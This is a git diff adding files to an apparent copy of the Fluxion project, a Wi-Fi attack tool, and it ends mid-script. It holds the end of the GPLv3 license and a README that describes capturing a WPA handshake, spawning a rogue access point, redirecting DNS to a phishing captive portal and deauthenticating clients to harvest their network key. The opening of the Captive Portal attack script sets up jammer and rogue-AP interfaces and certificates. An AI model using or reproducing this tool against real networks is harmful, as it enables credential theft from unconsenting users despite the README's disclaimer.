product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/README.md b/README.md new file mode 100644 index 0000000..25ea3a3 --- /dev/null +++ b/README.md @@ -0,0 +1,87 @@ +![Fuxion logo](https://github.com/FluxionNetwork/fluxion/raw/master/logos/logo.jpg) + +# Fluxion is the future of MITM WPA attacks +Fluxion is a security auditing and social-engineering research tool. It is a remake of linset by vk496 with (hopefully) less bugs and more functionality. The script attempts to retrieve the WPA/WPA2 key from a target access point by means of a social engineering (phishing) attack. It's compatible with the latest release of Kali (rolling). Fluxion's attacks' setup is mostly manual, but experimental auto-mode handles some of the attacks' setup parameters. Read the [FAQ](https://github.com/FluxionNetwork/fluxion/wiki/FAQ) before requesting issues. + +If you need quick help, fluxion is also avaible on gitter. You can talk with us on [Gitter](https://gitter.im/FluxionNetwork/Lobby) or on [Discord](https://discord.gg/G43gptk). +## Installation +Read [here](https://github.com/FluxionNetwork/fluxion/wiki/Generate-ssh-keys) before you do the following steps. +
+**Download the latest revision** +``` +git clone --recursive git@github.com:FluxionNetwork/fluxion.git +``` +**Switch to tool's directory** +``` +cd fluxion +``` +**Run fluxion (missing dependencies will be auto-installed)** +``` +./fluxion.sh +``` + +**Fluxion is also available in arch** +``` +cd bin/arch +makepkg +``` + +or using the blackarch repo +``` +pacman -S fluxion +``` + +## :scroll: Changelog +Fluxion gets weekly updates with new features, improvements, and bugfixes. +Be sure to check out the [changelog here](https://github.com/FluxionNetwork/fluxion/commits/master). + +## :octocat: How to contribute +All contributions are welcome! Code, documentation, graphics, or even design suggestions are welcome; use GitHub to its fullest. Submit pull requests, contribute tutorials or other wiki content -- whatever you have to offer, it'll be appreciated but please follow the [style guide](https://github.com/FluxionNetwork/fluxion/wiki/Code-style-guide). + +## :book: How it works +* Scan for a target wireless network. +* Launch the `Handshake Snooper` attack. +* Capture a handshake (necessary for password verification). +* Launch `Captive Portal` attack. +* Spawns a rogue (fake) AP, imitating the original access point. +* Spawns a DNS server, redirecting all requests to the attacker's host running the captive portal. +* Spawns a web server, serving the captive portal which prompts users for their WPA/WPA2 key. +* Spawns a jammer, deauthenticating all clients from original AP and lureing them to the rogue AP. +* All authentication attempts at the captive portal are checked against the handshake file captured earlier. +* The attack will automatically terminate once a correct key has been submitted. +* The key will be logged and clients will be allowed to reconnect to the target access point. + +* For a guide to the `Captive Portal` attack, read the [Captive Portal attack guide](https://github.com/FluxionNetwork/fluxion/wiki/Captive-Portal-Attack) + +## :heavy_exclamation_mark: Requirements + +A Linux-based operating system. We recommend Kali Linux 2 or Kali rolling. Kali 2 & rolling support the latest aircrack-ng versions. An external wifi card is recommended. + +## Related work + +For development I use vim and tmux. Here are my [dotfiles](https://github.com/deltaxflux/takumi/) +## :octocat: Credits +1. l3op - contributor +2. dlinkproto - contributor +3. vk496 - developer of linset +4. Derv82 - @Wifite/2 +5. Princeofguilty - @webpages and @buteforce +6. Photos for wiki @http://www.kalitutorials.net +7. Ons Ali @wallpaper +8. PappleTec @sites +9. MPX4132 - Fluxion V3 + +## Disclaimer +* Authors do not own the logos under the `/attacks/Captive Portal/sites/` directory. Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. + +* The usage of Fluxion for attacking infrastructures without prior mutual consent could be considered an illegal activity, and is highly discouraged by its authors/developers. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program. + +## Note +* Beware of sites pretending to be related with the Fluxion Project. These may be delivering malware. + +* Fluxion **DOES NOT WORK** on Linux Subsystem For Windows 10, because the subsystem doesn't allow access to network interfaces. Any Issue regarding the same would be **Closed Immediately** + +## Links +**Fluxion website:** https://fluxionnetwork.github.io/fluxion/
+**Discord:** https://discordapp.com/invite/G43gptk
+**Gitter:** https://gitter.im/FluxionNetwork/Lobby
diff --git a/_config.yml b/_config.yml new file mode 100644 index 0000000..fc24e7a --- /dev/null +++ b/_config.yml @@ -0,0 +1 @@ +theme: jekyll-theme-hacker \ No newline at end of file diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh new file mode 100755 index 0000000..2ca33fd --- /dev/null +++ b/attacks/Captive Portal/attack.sh @@ -0,0 +1,1493 @@ +#!/usr/bin/env bash + +# ============================================================ # +# =============== < Captive Portal Parameters > ============== # +# ============================================================ # +CaptivePortalState="Not Ready" + +CaptivePortalPassLog="$FLUXIONPath/attacks/Captive Portal/pwdlog" +CaptivePortalNetLog="$FLUXIONPath/attacks/Captive Portal/netlog" + +CaptivePortalAuthenticationMethods=("hash") # "wpa_supplicant") +CaptivePortalAuthenticationMethodsInfo=( + "(handshake file, ${CGrn}recommended$CClr)" +) # "(Target AP authentication, slow)") + +# ============= < Virtual Network Configuration > ============ # +# To avoid collapsing with an already existing network, +# we'll use a somewhat uncommon network and server IP. +CaptivePortalGatewayAddress="192.168.254.1" +CaptivePortalGatewayNetwork=${CaptivePortalGatewayAddress%.*} + + +# ============================================================ # +# ============== < Captive Portal Subroutines > ============== # +# ============================================================ # +captive_portal_unset_jammer_interface() { + CaptivePortalJammerInterfaceOriginal="" + + if [ ! "$CaptivePortalJammerInterface" ]; then return 1; fi + CaptivePortalJammerInterface="" + + # Check if we're automatically selecting the interface & skip + # this one if so to take the user back properly. + local interfacesAvailable + readarray -t interfacesAvailable < <(attack_targetting_interfaces) + + if [ ${#interfacesAvailable[@]} -le 1 ]; then return 2; fi +} + +captive_portal_set_jammer_interface() { + if [ "$CaptivePortalJammerInterface" ]; then return 0; fi + + if [ ! "$CaptivePortalJammerInterfaceOriginal" ]; then + echo "Running get jammer interface." > $FLUXIONOutputDevice + if ! fluxion_get_interface attack_targetting_interfaces \ + "$CaptivePortalJammerInterfaceQuery"; then + echo "Failed to get jammer interface" > $FLUXIONOutputDevice + return 1 + fi + CaptivePortalJammerInterfaceOriginal=$FluxionInterfaceSelected + fi + + local selectedInterface=$CaptivePortalJammerInterfaceOriginal + + if ! fluxion_allocate_interface $selectedInterface; then + echo "Failed to allocate jammer interface" > $FLUXIONOutputDevice + return 2 + fi + + echo "Succeeded get jammer interface." > $FLUXIONOutputDevice + CaptivePortalJammerInterface=${FluxionInterfaces[$selectedInterface]} +} + +captive_portal_ap_interfaces() { + interface_list_all + local interface + for interface in "${InterfaceListAll[@]}"; do + if [ "$interface" = "lo" ]; then continue; fi + echo "$interface" + done +} + +captive_portal_unset_ap_interface() { + CaptivePortalAccessPointInterfaceOriginal="" + + if [ ! "$CaptivePortalAccessPointInterface" ]; then return 1; fi + if [ "$CaptivePortalAccessPointInterface" = \ + "${CaptivePortalJammerInterface}v" ]; then + if ! iw dev $CaptivePortalAccessPointInterface del \ + &> $FLUXIONOutputDevice; then + fluxion_conditional_bail "Unable to remove virtual interface!" + exit 1 + fi + fi + CaptivePortalAccessPointInterface="" +} + +captive_portal_set_ap_interface() { + if [ "$CaptivePortalAccessPointInterface" ]; then return 0; fi + + if [ ! "$CaptivePortalAccessPointInterfaceOriginal" ]; then + echo "Running get ap interface." > $FLUXIONOutputDevice + if ! fluxion_get_interface captive_portal_ap_interfaces \ + "$CaptivePortalAccessPointInterfaceQuery"; then + echo "Failed to get ap interface" > $FLUXIONOutputDevice + return 1 + fi + CaptivePortalAccessPointInterfaceOriginal=$FluxionInterfaceSelected + fi + + local selectedInterface=$CaptivePortalAccessPointInterfaceOriginal + + if ! fluxion_allocate_interface $selectedInterface; then + echo "Failed to allocate ap interface" > $FLUXIONOutputDevice + return 2 + fi + + echo "Succeeded get ap interface." > $FLUXIONOutputDevice + CaptivePortalAccessPointInterface=${FluxionInterfaces[$selectedInterface]} + + # If interfaces are the same, we need an independent virtual interface. + if [ "$CaptivePortalAccessPointInterface" = \ + "$CaptivePortalJammerInterface" ]; then + # TODO: Make fluxion's interface services manage virtual interfaces. + # Have fluxion_get_interface return a virutal interface if the primary + # interface is in used by something else (virtual reservation?). + echo "Virtual interface required, attempting." > $FLUXIONOutputDevice + if ! iw dev $CaptivePortalJammerInterface interface \ + add ${CaptivePortalJammerInterface}v type monitor \ + 2> $FLUXIONOutputDevice; then + echo -e "$FLUXIONVLine $CaptivePortalCannotStartInterfaceError" + sleep 5 + return 2 + fi + echo "Virtual interface created successfully." > $FLUXIONOutputDevice + CaptivePortalAccessPointInterface=${CaptivePortalJammerInterface}v + fi +} + +function captive_portal_unset_ap_service() { + if [ ! "$CaptivePortalAPService" ]; then return 1; fi + + CaptivePortalAPService="" + + # Since we're auto-selecting when on auto, trigger undo-chain. + if [ "$FLUXIONAuto" ]; then return 2; fi + + if ! interface_is_wireless "$CaptivePortalAccessPointInterface"; then + return 3; + fi +} + +function captive_portal_set_ap_service() { + if [ "$CaptivePortalAPService" ]; then + if ! type -t ap_service_start; then + # AP Service: Load the service's helper routines. + source "$FLUXIONLibPath/ap/$CaptivePortalAPService.sh" + fi + return 0 + fi + if ! interface_is_wireless "$CaptivePortalAccessPointInterface"; then + return 0 + fi + + captive_portal_unset_ap_service + + if [ "$FLUXIONAuto" ]; then + CaptivePortalAPService="hostapd" + else + fluxion_header + + echo -e "$FLUXIONVLine $CaptivePortalAPServiceQuery" + echo + + fluxion_target_show + + local choices=( + "$CaptivePortalAPServiceHostapdOption" + "$CaptivePortalAPServiceAirbaseOption" + "$FLUXIONGeneralBackOption" + ) + io_query_choice "" choices[@] + + echo + + case "$IOQueryChoice" in + "$CaptivePortalAPServiceHostapdOption") + CaptivePortalAPService="hostapd" ;; + "$CaptivePortalAPServiceAirbaseOption") + CaptivePortalAPService="airbase-ng" ;; + "$FLUXIONGeneralBackOption") + return 1 + ;; + *) + fluxion_conditional_bail "Invalid AP service selected!" + return 1 + ;; + esac + fi + + # AP Service: Load the service's helper routines. + source "$FLUXIONLibPath/ap/$CaptivePortalAPService.sh" +} + +captive_portal_unset_authenticator() { + if [ ! "$CaptivePortalAuthenticatorMode" ]; then return 0; fi + + case "$CaptivePortalAuthenticatorMode" in + "hash") + echo "Unset hash is done automatically." > $FLUXIONOutputDevice ;; + esac + + CaptivePortalAuthenticatorMode="" + + # If we've only got one option, then the user skipped this section + # by auto-selecting that single option, so we unset the previous + # phase along with this one to properly take the user back. + if [ ${#CaptivePortalAuthenticationMethods[@]} -le 1 ]; then + return 1 # Trigger undo chain because it was auto-selected. + fi +} + +captive_portal_set_authenticator() { + if [ "$CaptivePortalAuthenticatorMode" ]; then + case "$CaptivePortalAuthenticatorMode" in + "hash") + if [ "$CaptivePortalHashPath" ]; then + echo "Captive Portal authentication mode is already set, skipping!" \ + > $FLUXIONOutputDevice + return 0 + fi + ;; + esac + fi + + captive_portal_unset_authenticator + + # If we've got only one choice, auto-select it for the user. + if [ \ + ${#CaptivePortalAuthenticationMethods[@]} -eq 1 -o \ + ${#CaptivePortalAuthenticationMethods[@]} -ge 1 -a \ + "$FLUXIONAuto" ]; then + CaptivePortalAuthenticatorMode="${CaptivePortalAuthenticationMethods[0]}" + echo "Auto-selected auth-method: $CaptivePortalAuthenticatorMode" \ + > $FLUXIONOutputDevice + else + fluxion_header + + echo -e "$FLUXIONVLine $CaptivePortalVerificationMethodQuery" + echo + + fluxion_target_show + + local choices=( + "${CaptivePortalAuthenticationMethods[@]}" + "$FLUXIONGeneralBackOption" + ) + io_query_format_fields "" "\t$CRed[$CYel%d$CRed]$CClr %b %b\n" \ + choices[@] CaptivePortalAuthenticationMethodsInfo[@] + + echo + + CaptivePortalAuthenticatorMode="${IOQueryFormatFields[0]}" + + # If we're going back, reset everything and abort. + if [[ \ + "$CaptivePortalAuthenticatorMode" == \ + "$FLUXIONGeneralBackOption" ]]; then + captive_portal_unset_authenticator + return -1 + fi + fi + + # Process the authentication method selected. + local result=1 # Assume failure at first. + case "$CaptivePortalAuthenticatorMode" in + "hash") + # Pass default path if no path is set yet. + if [ ! "$CaptivePortalHashPath" ]; then + CaptivePortalHashPath="$FLUXIONPath/attacks/Handshake Snooper/handshakes/$FluxionTargetSSIDClean-$FluxionTargetMAC.cap" + fi + + fluxion_hash_get_path \ + "$CaptivePortalHashPath" "$FluxionTargetMAC" "$FluxionTargetSSID" + result=$? + + if [ $result -eq 0 ]; then + CaptivePortalHashPath="$FluxionHashPath" + fi + ;; + esac + + # Assure authentication method processing succeeded, abort otherwise. + if [[ $result -ne 0 ]]; then + echo "Auth-mode error code $result!" > $FLUXIONOutputPath + return 1 + fi +} + +captive_portal_run_certificate_generator() { + xterm -bg "#000000" -fg "#CCCCCC" \ + -title "Generating Self-Signed SSL Certificate" -e openssl req \ + -subj '/CN=captive.gateway.lan/O=CaptivePortal/OU=Networking/C=US' \ + -new -newkey rsa:2048 -days 365 -nodes -x509 \ + -keyout "$FLUXIONWorkspacePath/server.pem" \ + -out "$FLUXIONWorkspacePath/server.pem" + # Details -> https://www.openssl.org/docs/manmaster/apps/openssl.html + chmod 400 "$FLUXIONWorkspacePath/server.pem" +} + +captive_portal_unset_certificate() { + if [ ! "$CaptivePortalSSL" ]; then return 1; fi + # WARNING: The server configuration depends on whether the certificate + # file exists and is positioned in the proper location. The check above + # could unsynchronize with the certificate file if we're not careful! + sandbox_remove_workfile "$FLUXIONWorkspacePath/server.pem" + CaptivePortalSSL="" + + # Since we're auto-selecting when on auto, trigger undo-chain. + if [ "$FLUXIONAuto" ]; then return 2; fi +} + +# Create Self-Signed SSL Certificate +captive_portal_set_certificate() { + if [ \ + "$CaptivePortalSSL" = "disabled" -o \ + "$CaptivePortalSSL" = "enabled" -a \ + -f "$FLUXIONWorkspacePath/server.pem" ]; then + echo "Captive Portal SSL mode already set to $CaptivePortalSSL!" \ + > $FLUXIONOutputDevice + return 0 + fi + + # TODO: This is temporary solution, refactor this. + if [ "$CaptivePortalSSL" = "enabled" ]; then + local -r restoring=true + fi + + captive_portal_unset_certificate + + # Check existance of ssl certificate within fluxion with file size > 0 + # If user-supplied (fancy) certificate exists, copy it to fluxspace. + if [ \ + -f "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" -a \ + -s "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \ + ]; then + cp "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \ + "$FLUXIONWorkspacePath/server.pem" + + CaptivePortalSSL="enabled" # Enabled if sourcing user certificate + + echo "Captive Portal certificate was user supplied, skipping query!" \ + > $FLUXIONOutputDevice + return 0 + fi + + + # Check if we're restoring and we need to re-create certificate. + if [ "$restoring" ]; then + if ! captive_portal_run_certificate_generator; then + fluxion_conditional_bail "cert-gen failed!" + return 2 + fi + CaptivePortalSSL="enabled" + return 0 + fi + + + if [ "$FLUXIONAuto" ]; then + CaptivePortalSSL="disabled" + else + local choices=( + "$CaptivePortalCertificateSourceGenerateOption" + "$CaptivePortalCertificateSourceRescanOption" + "$CaptivePortalCertificateSourceDisabledOption" + "$FLUXIONGeneralBackOption" + ) + + io_query_choice "$CaptivePortalCertificateSourceQuery" choices[@] + + echo + + case "$IOQueryChoice" in + "$CaptivePortalCertificateSourceGenerateOption") + # If cert generator fails, gtfo, something broke! + if ! captive_portal_run_certificate_generator; then + fluxion_conditional_bail "cert-gen failed!" + return 2 + fi + CaptivePortalSSL="enabled" + ;; + + "$CaptivePortalCertificateSourceRescanOption") + captive_portal_set_certificate + return $? + ;; + + "$CaptivePortalCertificateSourceDisabledOption") + CaptivePortalSSL="disabled" + ;; + + "$FLUXIONGeneralBackOption") + return 1 + ;; + *) + fluxion_conditional_bail "Unknown cert-gen option!" + return 2 + ;; + esac + fi +} + +captive_portal_unset_connectivity() { + if [ ! "$CaptivePortalConnectivity" ]; then return 1; fi + CaptivePortalConnectivity="" + + # Since we're auto-selecting when on auto, trigger undo-chain. + if [ "$FLUXIONAuto" ]; then return 2; fi +} + +captive_portal_set_connectivity() { + if [ "$CaptivePortalConnectivity" ]; then return 0; fi + + captive_portal_unset_connectivity + + if [ "$FLUXIONAuto" ]; then + CaptivePortalConnectivity="disconnected" + else + local choices=( + "$CaptivePortalConnectivityDisconnectedOption" + "$CaptivePortalConnectivityEmulatedOption" + "$FLUXIONGeneralBackOption" + ) + io_query_choice "$CaptivePortalConnectivityQuery" choices[@] + + case "$IOQueryChoice" in + "$CaptivePortalConnectivityDisconnectedOption") + CaptivePortalConnectivity="disconnected" ;; + "$CaptivePortalConnectivityEmulatedOption") + CaptivePortalConnectivity="emulated" ;; + "$FLUXIONGeneralBackOption") + return 1 + ;; + *) + fluxion_conditional_bail "Unknown connectivity option!" + return 2 + ;; + esac + fi +} + +captive_portal_unset_user_interface() { + if [ -z "$CaptivePortalUserInterface" ]; then return 1; fi + CaptivePortalUserInterface="" +} + +captive_portal_set_user_interface() { + local -r attackPath="$FLUXIONPath/attacks/Captive Portal" + + # Skip setting UI if one is selected and is a custom or a generic portal. + if [ "$CaptivePortalUserInterface" != "" ] && [ \ + -d "$attackPath/sites/$CaptivePortalUserInterface.portal" -o \ + -f "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" ]; then + return 0 + fi + + captive_portal_unset_user_interface + + local sites=() + + # Attempt adding generic portals only if the directory exists. + if [ -d "$FLUXIONPath/attacks/Captive Portal/generic/languages" ]; then + # Normalize the names of the generic portals for presentation. + for site in "$FLUXIONPath/attacks/Captive Portal/generic/languages/"*.lang; do + sites+=("${CaptivePortalGenericInterfaceOption}_$(basename "${site%.lang}")") + done + fi + + # Attempt adding custom portals only if the directory exists. + if [ -d "$FLUXIONPath/attacks/Captive Portal/sites" ]; then + # Retrieve available portal sites and strip the .portal extension. + for site in "$FLUXIONPath/attacks/Captive Portal/sites/"*.portal; do + sites+=("$(basename "${site%.portal}")") + done + fi + + local sitesIdentifier=("${sites[@]/_*/}" "$FLUXIONGeneralBackOption") + local sitesLanguage=("${sites[@]/*_/}") + + format_center_dynamic "$CRed[$CYel%02d$CRed]$CClr 